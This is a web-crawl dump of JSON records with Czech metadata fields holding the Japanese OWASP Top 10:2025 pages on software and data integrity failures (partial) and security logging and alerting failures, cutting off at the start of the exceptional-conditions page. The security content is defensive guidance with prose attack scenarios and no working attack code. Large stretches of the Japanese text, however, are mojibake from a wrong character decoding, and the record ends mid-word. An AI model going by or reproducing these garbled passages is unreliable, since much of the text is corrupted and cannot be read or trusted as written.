źă§ăăŞă„ĺˆśĺžĄçƒă‹ă‚‰ăŽćŠŸčƒ˝ăŽĺ–ă‚Ščžźăż (CWE-829)、動的に決定されるオブジェクト属性の不適切な修正 (CWE-915)ă€ăŠă‚ˆăłäżĄé źă§ăăŞă„ăƒ‡ăƒźă‚żăŽăƒ‡ă‚ˇăƒŞă‚˘ăƒŠă‚¤ă‚źăƒźă‚ˇăƒ§ăƒł (CWE-502) が含まれます。\n\n## スコアテーブル (Score Table)\n\n| 紐付けられた CWE 数 | 最大出現率 | 平均出現率 | 最大網羅率 | 平均網羅率 | ĺšłĺ‡ĺŠ é‡ć‚Şç”¨ă‚šă‚łă‚˘ | ĺšłĺ‡ĺŠ é‡ĺ˝ąéŸżă‚šă‚łă‚˘ | 出現総数 | CVE 総数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 14 | 8.98% | 2.75% | 78.52% | 45.49% | 7.11 | 4.79 | 501,327 | 3,331 |\n\n## 説明 (Description)\n\nă‚˝ăƒ•ăƒˆă‚Śă‚§ă‚˘ăŠă‚ˆăłăƒ‡ăƒźă‚żăŽĺŽŒĺ…¨ć€§ăŽä¸ĺ‚™ăŻă€ç„ĄĺŠšăžăŸăŻäżĄé źă§ăăŞă„ă‚łăƒźăƒ‰ă‚„ăƒ‡ăƒźă‚żă‚’ă€äżĄé źă§ăă‚‹ĺŚĽĺ˝“ăŞă‚‚ăŽă¨ă—ăŚć‰ąăŁăŚă—ăžă†ă‚łăƒźăƒ‰ă‚„ă‚¤ăƒłăƒ•ăƒŠăŤé–˘é€Łă—ăŚă„ăžă™ă€‚ăŸă¨ăˆă°ă€äżĄé źă§ăăŞă„ă‚˝ăƒźă‚šă€ăƒŞăƒă‚¸ăƒˆăƒŞă€CDN (コンテンツデリバリネットワーク) からのプラグイン、ライブラリ、モジュールに依存しているアプリケーションがこれに該当します。ソフトウェアの完全性チェックを提供・消費しない安全でない CI/CD ăƒ‘ă‚¤ăƒ—ăƒŠă‚¤ăƒłăŻă€ä¸ć­Łă‚˘ă‚Żă‚ťă‚šă€ć‚Şć„ă‚ă‚‹ă‚łăƒźăƒ‰ă€ăžăŸăŻă‚ˇă‚šăƒ†ăƒ äžľĺŽłăŽĺŻčƒ˝ć€§ă‚’ă‚‚ăŸă‚‰ă—ăžă™ă€‚ăžăŸă€äżĄé źă§ăăŞă„ĺ ´ć‰€ă‹ă‚‰ă‚łăƒźăƒ‰ă‚„ćˆćžœç‰Šă‚’ĺ–ĺž—ă—ă€ä˝żç”¨ĺ‰ăŤć¤œč¨źă—ăŞă„ďźˆç˝˛ĺăŽç˘şčŞăŞăŠă‚’čĄŒă‚ăŞă„ďź‰CI/CD ă‚‚ĺŒć§˜ă§ă™ă€‚ă•ă‚‰ăŤă€ĺ¤šăăŽă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŻč‡Şĺ‹•ć›´ć–°ćŠŸčƒ˝ă‚’ĺ‚™ăˆăŚă„ăžă™ăŒă€ĺĺˆ†ăŞĺŽŒĺ…¨ć€§ć¤œč¨źăŞă—ăŤć›´ć–°ăŒăƒ€ă‚Śăƒłăƒ­ăƒźăƒ‰ă•ă‚Œă€äťĽĺ‰ăŻäżĄé źă•ă‚ŒăŚă„ăŸă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŤéŠç”¨ă•ă‚Œăžă™ă€‚ć”ťć’ƒč€…ăŻç‹Źč‡ŞăŽć›´ć–°ă‚’ă‚˘ăƒƒăƒ—ăƒ­ăƒźăƒ‰ă—ăŚé…ĺ¸ƒă—ă€ă™ăšăŚăŽă‚¤ăƒłă‚šăƒˆăƒźăƒŤĺ…ˆă§ĺŽŸčĄŒă•ă›ă‚‹ĺŻčƒ˝ć€§ăŒă‚ă‚Šăžă™ă€‚ă‚‚ă†ä¸€ă¤ăŽäž‹ăŻă€ă‚Şăƒ–ă‚¸ă‚§ă‚Żăƒˆă‚„ăƒ‡ăƒźă‚żăŒć”ťć’ƒč€…ăŒé–˛čŚ§ăƒťć”šă–ă‚“ă§ăă‚‹ć§‹é€ ăŤă‚¨ăƒłă‚łăƒźăƒ‰ăžăŸăŻă‚ˇăƒŞă‚˘ăƒŠă‚¤ă‚şă•ă‚ŒăŚă„ă‚‹ĺ ´ĺˆă§ă€ĺŽ‰ĺ…¨ă§ăŞă„ăƒ‡ă‚ˇăƒŞă‚˘ăƒŠă‚¤ă‚źăƒźă‚ˇăƒ§ăƒłăŤĺŻžă—ăŚč„†ĺźąăŤăŞă‚Šăžă™ă€‚\n\n## 防止方法 (How to Prevent)\n\n- **デジタル署名の活用:** デジタル署名やそれに類する仕組みを用い、ソフトウェアやデータが意図したソースからのものであり、改ざんされていないことを検証してください。\n- **äżĄé źă§ăă‚‹ăƒŞăƒă‚¸ăƒˆăƒŞăŽé™ĺŽšďźš** npm や Maven ç­‰ăŽäžĺ­˜é–˘äż‚çŽĄç†ăŤăŠă„ăŚă€äżĄé źă§ăă‚‹ăƒŞăƒă‚¸ăƒˆăƒŞăŽăżă‚’ĺˆŠç”¨ă™ă‚‹ă‚ˆă†ăŤč¨­ĺŽšă—ăŚăă ă•ă„ă€‚ăƒŞă‚šă‚Żăƒ—ăƒ­ăƒ•ă‚Ąă‚¤ăƒŤăŒéŤ˜ă„ĺ ´ĺˆăŻă€ĺ†…éƒ¨ă§ç˛žćŸťć¸ˆăżăŽăƒŞăƒă‚¸ăƒˆăƒŞă‚’ăƒ›ă‚šăƒ†ă‚Łăƒłă‚°ă™ă‚‹ă“ă¨ă‚’ć¤œč¨Žă—ăŚăă ă•ă„ă€‚\n- **変更レビュープロセスの確立:** コードや設定の変更に対するレビュープロセスを徹底し、悪意あるコードがパイプラインに混入する機会を最小限に抑えてください。\n- **パイプラインの要塞化:** ビルドおよびデプロイプロセスを流れるコードの完全性を確保するため、CI/CD パイプラインに対して適切な分離、設定、およびアクセス制御を実施してください。\n- **シリアライズデータの検証:** äżĄé źă§ăăŞă„ă‚ŻăƒŠă‚¤ă‚˘ăƒłăƒˆă‹ă‚‰ă€ç˝˛ĺă‚„ćš—ĺˇĺŒ–ăŽăŞă•ă‚ŒăŚă„ăŞă„ă‚ˇăƒŞă‚˘ăƒŠă‚¤ă‚şă•ă‚ŒăŸăƒ‡ăƒźă‚żă‚’ĺ—ă‘ĺ–ă‚‰ăŞă„ă§ăă ă•ă„ă€‚ĺˆŠç”¨ăŒĺż…čŚăŞĺ ´ĺˆăŻă€ć”šă–ă‚“ă‚„ăƒŞăƒ—ăƒŹă‚¤ć”ťć’ƒă‚’ć¤œçŸĽă™ă‚‹ăŸă‚ăŽăƒ‡ă‚¸ă‚żăƒŤç˝˛ĺă‚„ĺŽŒĺ…¨ć€§ăƒă‚§ăƒƒă‚Żă‚’ĺż…ăšĺŽŸć–˝ă—ăŚăă ă•ă„ă€‚\n\n## 攻撃シナリオの例 (Example Attack Scenarios)\n\n**シナリオ #1ďźšäżĄé źă§ăăŞă„ă‚˝ăƒźă‚šă‹ă‚‰ăŽćŠŸčƒ˝ĺ–ă‚Ščžźăż**\nある企業が利便性のために、外部サービスプロバイダーの DNS マッピング(例:`support.myCompany.com`)を設定した。これにより、自社ドメインの認証 Cookie が外部プロバイダーへも送信されるようになり、プロバイダー側のインフラにアクセスできる攻撃者がユーザーのセッションを奪取可能になった。\n\n**シナリオ #2:署名なきアップデート**\nĺ¤šăăŽăƒ›ăƒźăƒ ăƒŤăƒźă‚żăƒźă‚„ă‚ťăƒƒăƒˆăƒˆăƒƒăƒ—ăƒœăƒƒă‚Żă‚šăŤăŠă„ăŚă€ç˝˛ĺă•ă‚ŒăŚă„ăŞă„ăƒ•ă‚Ąăƒźăƒ ă‚Śă‚§ă‚˘ăŤă‚ˆă‚‹ă‚˘ăƒƒăƒ—ăƒ‡ăƒźăƒˆăŒčĄŒă‚ă‚ŒăŚă„ă‚‹ă€‚ă“ă‚ŒăŻć”ťć’ƒč€…ăŤă¨ăŁăŚć źĺĽ˝ăŽć¨™çš„ă¨ăŞă‚Šă€ä¸€ĺşŚé…ĺ¸ƒă•ă‚ŒăŚă—ăžă†ă¨ĺ°†ćĽăŽăƒăƒźă‚¸ăƒ§ăƒłă§äżŽć­Łă•ă‚Œă‚‹ăžă§ć˜Żć­Łă™ă‚‹ć‰‹ćŽľăŒăŞă„ă¨ă„ă†ćˇąĺˆťăŞĺ•éĄŒă‚’ĺź•ăčľˇă“ă—ăžă™ă€‚\n\n**シナリオ #3ďźšäżĄé źă§ăăŞă„ă‚˝ăƒźă‚šă‹ă‚‰ăŽăƒ‘ăƒƒă‚ąăƒźă‚¸ĺˆŠç”¨**\n開発者が公式のパッケージマネージャーではなく、Web サイトから直接署名のないパッケージをダウンロードして利用した。そのパッケージには悪意のあるコードが含まれており、完全性を検証する術がなかったために侵害が発生した。\n\n**シナリオ #4:安全でないデシリアライゼーション**\nReact アプリケーションが Spring Boot マイクロサービスと通信する際、状態をシリアライズしてリクエストごとに受け渡していた。攻撃者が Java オブジェクトの署名(Base64 形式の \"rO0\")に気づき、デシリアライゼーション・スキャナーを用いてアプリケーションサーバー上でリモートコード実行 (RCE) を達成した。\n\n## 関連資料 (References)\n\n- [OWASP Cheat Sheet: Software Supply Chain Security](https://cheatsheetseries.owasp.org/cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Infrastructure as Code](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Deserialization](https://wiki.owasp.org/index.php/Deserialization_Cheat_Sheet)\n- [SAFECode Software Integrity Controls](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)\n- [A 'Worst Nightmare' Cyberattack: The Untold Story Of The SolarWinds Hack](https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack)\n- [CodeCov Bash Uploader Compromise](https://about.codecov.io/security-update)\n- [Securing DevOps by Julien Vehent](https://www.manning.com/books/securing-devops)\n- [Insecure Deserialization by Tenendo](https://tenendo.com/insecure-deserialization/)\n\n## 紐付けられた CWE 一覧 (List of Mapped CWEs)\n\n- [CWE-345 Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html)\n- [CWE-353 Missing Support for Integrity Check](https://cwe.mitre.org/data/definitions/353.html)\n- [CWE-426 Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)\n- [CWE-427 Uncontrolled Search Path Element](https://cwe.mitre.org/data/definitions/427.html)\n- [CWE-494 Download of Code Without Integrity Check](https://cwe.mitre.org/data/definitions/494.html)\n- [CWE-502 Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n- [CWE-506 Embedded Malicious Code](https://cwe.mitre.org/data/definitions/506.html)\n- [CWE-509 Replicating Malicious Code (Virus or Worm)](https://cwe.mitre.org/data/definitions/509.html)\n- [CWE-565 Reliance on Cookies without Validation and Integrity Checking](https://cwe.mitre.org/data/definitions/565.html)\n- [CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision](https://cwe.mitre.org/data/definitions/784.html)\n- [CWE-829 Inclusion of Functionality from Untrusted Control Sphere](https://cwe.mitre.org/data/definitions/829.html)\n- [CWE-830 Inclusion of Web Functionality from an Untrusted Source](https://cwe.mitre.org/data/definitions/830.html)\n- [CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n- [CWE-926 Improper Export of Android Application Components](https://cwe.mitre.org/data/definitions/926.html)", "znaku_textu": 8678, "slov": 352, "odkazu": 57, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:25", "sha256": "deb804c53bef378689534eba027540f271f13496c3cbea38a6d9c3a72fdd5270", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html", "https://wiki.owasp.org/index.php/Deserialization_Cheat_Sheet", "https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf", "https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack", "https://about.codecov.io/security-update", "https://www.manning.com/books/securing-devops", "https://tenendo.com/insecure-deserialization/", "https://cwe.mitre.org/data/definitions/345.html", "https://cwe.mitre.org/data/definitions/353.html", "https://cwe.mitre.org/data/definitions/426.html", "https://cwe.mitre.org/data/definitions/427.html", "https://cwe.mitre.org/data/definitions/494.html", "https://cwe.mitre.org/data/definitions/502.html", "https://cwe.mitre.org/data/definitions/506.html", "https://cwe.mitre.org/data/definitions/509.html", "https://cwe.mitre.org/data/definitions/565.html", "https://cwe.mitre.org/data/definitions/784.html", "https://cwe.mitre.org/data/definitions/829.html", "https://cwe.mitre.org/data/definitions/830.html", "https://cwe.mitre.org/data/definitions/915.html", "https://cwe.mitre.org/data/definitions/926.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ja/A09_2025-Security_Logging_and_Alerting_Failures/", "titulek": "A09 Security Logging and Alerting Failures - OWASP Top 10:2025", "h1": "A09:2025 セキュリティログとアラートの不備 (Security Logging and Alerting Failures)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ja/A09_2025-Security_Logging_and_Alerting_Failures/", "jazyk": "ja", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A09:2025 セキュリティログとアラートの不備 (Security Logging and Alerting Failures)"}, {"uroven": 2, "text": "背景 (Background)"}, {"uroven": 2, "text": "スコアテーブル (Score Table)"}, {"uroven": 2, "text": "説明 (Description)"}, {"uroven": 2, "text": "防止方法 (How to Prevent)"}, {"uroven": 2, "text": "攻撃シナリオの例 (Example Attack Scenarios)"}, {"uroven": 2, "text": "関連資料 (References)"}, {"uroven": 2, "text": "紐付けられた CWE 一覧 (List of Mapped CWEs)"}], "markdown": "# A09:2025 セキュリティログとアラートの不備 (Security Logging and Alerting Failures)\n\n## 背景 (Background)\n\n「セキュリティログとアラートの不備」は、前回から引き続き第 9 ä˝ă¨ăŞă‚Šăžă—ăŸă€‚äťŠĺ›žăŽĺç§°ĺ¤‰ć›´ăŻă€ĺ˜ăŤăƒ­ă‚°ă‚’č¨˜éŒ˛ă™ă‚‹ă ă‘ă§ăŞăă€ćœ‰ć„çžŠăŞăƒ­ă‚°ă‚¤ăƒ™ăƒłăƒˆăŤĺŻžă—ăŚčĄŒĺ‹•ă‚’äżƒă™ăŸă‚ăŽă€Œă‚˘ăƒŠăƒźăƒˆćŠŸčƒ˝ă€ăŽé‡čŚć€§ă‚’ĺźˇčŞżă—ăŸă‚‚ăŽă§ă™ă€‚ćœŹă‚Ťăƒ†ă‚´ăƒŞăŻă€ă‚łăƒŸăƒĽăƒ‹ăƒ†ă‚ŁčŞżćŸťă¸ăŽĺ‚ĺŠ č€…ăŽćŠ•çĽ¨ăŤă‚ˆă‚Š 3 回連続でリスト入りしました。自動テストによる検出が極めて困難なため、CVE/CVSS データ上の代表数は 723 件と全カテゴリ中で最小ですが、可視性の確保、インシデント発生時のアラート、およびフォレンジック (Forensics)(鑑識)において極めて甚大な影響を及ぼします。主要な CWE (共通弱点一覧) には、ログファイルへの出力エンコーディング不備 (CWE-117)ă€ăƒ­ă‚°ăƒ•ă‚Ąă‚¤ăƒŤă¸ăŽćŠŸĺŻ†ćƒ…ĺ ąăŽćŒżĺ…Ľ (CWE-532)、および不十分なロギング (CWE-778) が含まれます。\n\n## スコアテーブル (Score Table)\n\n| 紐付けられた CWE 数 | 最大出現率 | 平均出現率 | 最大網羅率 | 平均網羅率 | ĺšłĺ‡ĺŠ é‡ć‚Şç”¨ă‚šă‚łă‚˘ | ĺšłĺ‡ĺŠ é‡ĺ˝ąéŸżă‚šă‚łă‚˘ | 出現総数 | CVE 総数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 5 | 11.33% | 3.91% | 85.96% | 46.48% | 7.19 | 2.65 | 260,288 | 723 |\n\n## 説明 (Description)\n\nロギングと監視 (Monitoring) がなければ攻撃や侵害を検知できず、適切なアラート (Alerting) がなければ、セキュリティインシデント発生時に迅速かつ効果的な対応をとることが困難になります。\n\näťĽä¸‹ăŽă‚ˆă†ăŞçŠśćłăŤă‚ă‚‹ĺ ´ĺˆă€ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŻč„†ĺźąă§ă™ă€‚\n\n- ログイン、ログイン失敗、および高価値な取引などの監査可能なイベントが記録されていない、あるいは不整合である(例:ログイン成功のみを記録し、失敗を記録していない)。\n- 警告やエラーが発生しても、ログメッセージが生成されない、あるいは不適切で不明確である。\n- ログの完全性 (Integrity) が保護されておらず、改ざんのリスクに晒されている。\n- アプリケーションや API のログが、不審なアクティビティに対して監視されていない。\n- ログがローカルに保存されるだけで、適切にバックアップされていない。\n- 適切なアラート閾値やレスポンス・エスカレーションプロセスが機能しておらず、アラートが合理的な時間内に受信・確認されない。\n- ペネトレーションテストや DAST (動的アプリケーションセキュリティテスト) ツール(Burp や ZAP 等)によるスキャンが、アラートをトリガーしない。\n- アプリケーションが進行中の攻撃をリアルタイム、あるいはそれに近い速度で検知・通知・エスカレーションできない。\n- ログやアラートの内容がユーザーや攻撃者に露出している( [A01:2025 アクセス制御の不備](../A01_2025-Broken_Access_Control/) ĺ‚ç…§ďź‰ă€ă‚ă‚‹ă„ăŻĺ€‹äşşč­˜ĺˆĽćƒ…ĺ ą (PII) ă‚„ĺĽĺşˇćƒ…ĺ ą (PHI) ăŞăŠăŽč¨˜éŒ˛ă™ăšăă§ăŞă„ćŠŸĺŻ†ćƒ…ĺ ąăŒăƒ­ă‚°ăŤĺŤăžă‚ŒăŚă„ă‚‹ă€‚\n- ログデータが適切にエンコードされておらず、ロギングまたは監視システム自体へのインジェクション攻撃を許容している。\n- エラーや例外的な状況の処理に失敗しているため、システムがエラーを認識できず、結果として問題を記録できない。\n- 特定の異常事態を認識するための適切なアラート用「ユースケース」が不足している、あるいは陳腐化している。\n- 誤検知 (False Positive) が多すぎて重要なアラートを判別できず、SOC (セキュリティ運用センター) ăƒăƒźăƒ ăŒç‰Šç†çš„ăŞéŽč˛ čˇă‚„ă€Œč­Śĺ ąç–˛ă‚Œă€ă‚’čľˇă“ă—ăŚă„ă‚‹ă€‚\n- プレイブック (Playbook)ďźˆĺŻžĺżœć‰‹é †ć›¸ďź‰ăŒä¸ĺŽŒĺ…¨ă€ă‚ă‚‹ă„ăŻćŹ č˝ă—ăŚă„ă‚‹ăŸă‚ă€ć¤œçŸĽă•ă‚ŒăŸă‚˘ăƒŠăƒźăƒˆă‚’ć­Łă—ăĺ‡Śç†ă§ăăŞă„ă€‚\n\n## 防止方法 (How to Prevent)\n\n開発者は、アプリケーションのリスクに応じて以下の制御を実装してください。\n\n- **十分なユーザーコンテキストの記録:** ă™ăšăŚăŽăƒ­ă‚°ă‚¤ăƒłă€ă‚˘ă‚Żă‚ťă‚šĺˆśĺžĄă€ăŠă‚ˆăłă‚ľăƒźăƒăƒźĺ´ăŽĺ…ĽĺŠ›ć¤œč¨źăŽĺ¤ąć•—ă‚’ă€ć‚Şć„ă‚ă‚‹ă‚˘ă‚Ťă‚ŚăƒłăƒˆăŽç‰šĺŽšăŤĺż…čŚăŞćƒ…ĺ ąă¨ă¨ă‚‚ăŤč¨˜éŒ˛ă—ă€äş‹ĺžŒăŽăƒ•ă‚ŠăƒŹăƒłă‚¸ăƒƒă‚Żĺˆ†ćžăŒĺŻčƒ˝ăŞćœŸé–“äżĺ­˜ă—ăŚăă ă•ă„ă€‚\n- **網羅的なロギング:** セキュリティ制御が含まれるすべての箇所において、成否にかかわらずログを生成してください。\n- **管理ソリューションへの適合:** ログ管理ソリューションが容易に処理できる形式でログを生成してください。\n- **エンコーディングの徹底:** ロギングシステムへの攻撃を防ぐため、ログデータを正しくエンコードしてください。\n- **監査証跡の保護:** ăƒ­ă‚°ăŽć”šă–ă‚“ă‚„ćśˆĺŽťă‚’é˜˛ăăŸă‚ă€čż˝ĺŠ ĺ°‚ç”¨ (Append-only) のデータベーステーブルなどの完全性制御を備えた監査証跡を確保してください。\n- **安全なエラー処理:** エラーが発生した取引は確実にロールバックしてください。常に安全な側で終了 (Fail closed) させてください。\n- **積極的なアラート発行:** アプリケーションやユーザーが不審な挙動を示した際のアラート発行基準を開発者に提示するか、専用のシステムを導入してください。\n- **運用の確立:** 監視とアラートのユースケースおよびプレイブックを確立し、SOC チームが迅速に対応できるようにしてください。\n- **ハニートークン (Honeytokens) の活用:** ăƒ€ăƒŸăƒźăƒ‡ăƒźă‚żă‚„ĺ˝ăŽăƒŚăƒźă‚śăƒźč­˜ĺˆĽĺ­ă‚’ă€Œç˝ ă€ă¨ă—ăŚäť•čžźăżă€ăă“ă¸ăŽă‚˘ă‚Żă‚ťă‚šăŤă‚ˆăŁăŚčŞ¤ć¤œçŸĽăŽăŞă„ĺłć™‚ă‚˘ăƒŠăƒźăƒˆă‚’ç”Ÿćˆă—ăŚăă ă•ă„ă€‚\n- **行動分析と AI の支援:** čŞ¤ć¤œçŸĽçŽ‡ă‚’ä˝ŽăćŠ‘ăˆă‚‹ăŸă‚ăŽčż˝ĺŠ ć‰‹ćł•ă¨ă—ăŚă€čĄŒĺ‹•ĺˆ†ćžă‚„ AI の活用を検討してください。\n- **インシデント対応計画の策定:** NIST 800-61r2 ç­‰ăŤĺŸşăĽă„ăŸĺŻžĺżœăƒťĺžŠć—§č¨ˆç”ťă‚’ç˘şçŤ‹ă—ă€é–‹ç™şč€…ăŤć”ťć’ƒăŽäşˆĺ…†ă‚’ĺ ąĺ‘Šă™ă‚‹ć–šćł•ă‚’ć•™č‚˛ă—ăŚăă ă•ă„ă€‚\n\nオープンソース製品(OWASP ModSecurity Core Rule Set や ELK スタック等)や、商用の可観測性 (Observability) ツールを活用して、リアルタイムに近い速度での防御・対応体制を構築することを推奨します。\n\n## 攻撃シナリオの例 (Example Attack Scenarios)\n\n**シナリオ #1:長期にわたる侵害の放置**\nă‚ă‚‹ĺ°ĺ…ĺŒťç™‚äżé™şă‚ľă‚¤ăƒˆă§ç›ŁčŚ–ăŒćŹ ĺŚ‚ă—ăŚă„ăŸăŸă‚ă€350万人以上の子供の機密記録が攻撃者によって改ざんされていた事実に気づくことができませんでした。外部からの指摘で発覚した際、侵害は 2013 年から 7 年以上も続いていたことが判明しました。\n\n**シナリオ #2:サードパーティ経由の漏洩**\nă‚¤ăƒłăƒ‰ăŽĺ¤§ć‰‹čˆŞçŠşäźšç¤žăŤăŠă„ăŚă€ć•°ç™žä¸‡äşşăŽäš—ĺŽ˘ăƒ‡ăƒźă‚żďźˆăƒ‘ă‚šăƒăƒźăƒˆă‚„ă‚ŻăƒŹă‚¸ăƒƒăƒˆă‚Ťăƒźăƒ‰ćƒ…ĺ ąďź‰ăŒćľĺ‡şă—ăžă—ăŸă€‚äžľĺŽłăŻă‚ŻăƒŠă‚Śăƒ‰ăƒ›ă‚šăƒ†ă‚Łăƒłă‚°ăƒ—ăƒ­ăƒă‚¤ăƒ€ăƒźă§ç™şç”Ÿă—ăŚăŠă‚Šă€čˆŞçŠşäźšç¤žăŒăăŽäş‹ĺŽŸă‚’çŸĽă‚‰ă•ă‚ŒăŸăŽăŻă€äžľĺŽłç™şç”Ÿă‹ă‚‰ă‹ăŞă‚ŠăŽć™‚é–“ăŒçľŒéŽă—ăŸĺžŒă§ă—ăŸă€‚\n\n**シナリオ #3:決済アプリの脆弱性と制裁金**\n欧州の大手航空会社が決済アプリの脆弱性を突かれ、40万件以上の顧客データを奪取されました。適切な検知と監視が行われていなかった結果、GDPR 違反として 2,000 万ポンドの制裁金を科されました。\n\n## 関連資料 (References)\n\n- [OWASP Proactive Controls: C9 ロギングと監視の実čŁ](https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/)\n- [OWASP Application Security Verification Standard: V16 セキュリティロギングとエラー処理](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md)\n- [OWASP Cheat Sheet: Application Logging Vocabulary](https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [Data Integrity: Recovering from Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-11/final)\n- [Data Integrity: Identifying and Protecting Assets Against Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-25/final)\n- [Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-26/final)\n- [NIST SP 800-61r2: インシデント対応ガイド](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf)\n- [Snowflake 侵害事件における実例](https://www.huntress.com/threat-library/data-breach/snowflake-data-breach)\n\n## 紐付けられた CWE 一覧 (List of Mapped CWEs)\n\n- [CWE-117 Improper Output Neutralization for Logs](https://cwe.mitre.org/data/definitions/117.html)\n- [CWE-221 Information Loss of Omission](https://cwe.mitre.org/data/definitions/221.html)\n- [CWE-223 Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)\n- [CWE-532 Insertion of Sensitive Information into Log File](https://cwe.mitre.org/data/definitions/532.html)\n- [CWE-778 Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)", "znaku_textu": 9769, "slov": 373, "odkazu": 49, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:26", "sha256": "73ea2ff744476a5ccb5cd860dd83d95956f160eda0b0db5f71c4d9d309bd28ee", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md", "https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://csrc.nist.gov/publications/detail/sp/1800-11/final", "https://csrc.nist.gov/publications/detail/sp/1800-25/final", "https://csrc.nist.gov/publications/detail/sp/1800-26/final", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf", "https://www.huntress.com/threat-library/data-breach/snowflake-data-breach", "https://cwe.mitre.org/data/definitions/117.html", "https://cwe.mitre.org/data/definitions/221.html", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/532.html", "https://cwe.mitre.org/data/definitions/778.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ja/A10_2025-Mishandling_of_Exceptional_Conditions/", "titulek": "A10 Mishandling of Exceptional Conditions - OWASP Top 10:2025", "h1": "A10:2025 例外的な状況への不適切な対応 (Mishandling of Exceptional Conditions)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ja/A10_2025-Mishandling_of_Exceptional_Conditions/", "jazyk": "ja", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A10:2025 例外的な状況への不適切な対応 (Mishandling of Exceptional Conditions)"}, {"uroven": 2, "text": "背景 (Background.)"}, {"uroven": 2, "text": "スコアテーブル (Score table.)"}, {"uroven": 2, "text": "説明 (Description.)"}, {"uroven": 2, "text": "防止方法 (How to prevent.)"}, {"uroven": 2, "text": "攻撃シナリオの例 (Example attack scenarios.)"}, {"uroven": 2, "text": "関連資料 (References.)"}, {"uroven": 2, "text": "紐付けられた CWE 一覧 (List of Mapped CWEs)"}], "markdown": "# A10:2025 例外的な状況への不適切な対応 (Mishandling of Exceptional Conditions)\n\n## 背景 (Background.)\n\n「例外的な状況への不適切な対応」は、2025年版の新カテゴリです。本カテゴリは 24 ぎ CWE (共通弱点一覧) で構成されており、不適切なエラー処理、論理エラー、安全でない失敗処理(フェイルオープン) (Failing open)ă€ăŠă‚ˆăłă‚ˇă‚šăƒ†ăƒ ăŒé­é‡ă—ă†ă‚‹ç•°ĺ¸¸ăŞçŠśćłăŤčľˇĺ› ă™ă‚‹ăăŽäť–ăŽé–˘é€Łă‚ˇăƒŠăƒŞă‚ŞăŤç„Śç‚šă‚’ĺ˝“ăŚăŚă„ăžă™ă€‚ă“ăŽă‚Ťăƒ†ă‚´ăƒŞăŤăŻă€äťĽĺ‰ăŻă€Œă‚łăƒźăƒ‰ĺ“čłŞăŽä˝Žă• (Poor code quality)」に関連付けられていたいくつかの CWE が含まれています。それは私たちにとってあまりに一般的すぎました。私たちの意見では、このより具体的なカテゴリの方が、より良い指針を提供できると考えています。\n\n本カテゴリに含まれる注目すべき CWE ăŤăŻă€ćŠŸĺŻ†ćƒ…ĺ 